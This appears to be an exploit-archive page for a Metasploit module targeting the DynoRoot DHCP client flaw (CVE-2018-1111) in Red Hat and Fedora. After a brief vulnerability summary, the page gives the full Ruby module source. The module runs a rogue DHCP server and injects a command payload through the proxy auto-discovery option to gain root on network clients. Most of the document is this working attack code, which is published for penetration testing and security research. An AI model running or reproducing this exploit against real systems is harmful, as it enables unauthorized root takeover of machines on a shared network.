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DHCP Client Command Injection (DynoRoot)

DHCP Client Command Injection (DynoRoot)
Posted Jun 12, 2018
Authored by Felix Wilhelm | Site metasploit.com

This Metasploit module exploits the DynoRoot vulnerability, a flaw in how the NetworkManager integration script included in the DHCP client in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier processes DHCP options. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.

tags | exploit, arbitrary, local, root, spoof, protocol
systems | linux, redhat, fedora
advisories | CVE-2018-1111
MD5 | 5260d2ef5bb8f8bbc5edbc0ec7cb7c67

DHCP Client Command Injection (DynoRoot)

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::DHCPServer

def initialize(info = {})
super(update_info(info,
'Name' => 'DHCP Client Command Injection (DynoRoot)',
'Description' => %q{
This module exploits the DynoRoot vulnerability, a flaw in how the
NetworkManager integration script included in the DHCP client in
Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
processes DHCP options. A malicious DHCP server, or an attacker on
the local network able to spoof DHCP responses, could use this flaw
to execute arbitrary commands with root privileges on systems using
NetworkManager and configured to obtain network configuration using
the DHCP protocol.
},
'Author' =>
[
'Felix Wilhelm', # Vulnerability discovery
'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'References' =>
[
['AKA', 'DynoRoot'],
['CVE', '2018-1111'],
['EDB': '44652'],
['URL', 'https://github.com/kkirsche/CVE-2018-1111'],
['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'],
['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'],
['URL', 'https://dynoroot.ninja/'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],
['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111']
],
'Targets' => [ [ 'Automatic Target', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 15 2018'
))

deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME')
end

def exploit
hash = datastore.copy
start_service(hash)
@dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #")

begin
while @dhcp.thread.alive?
sleep 2
end
ensure
stop_service
end
end
end
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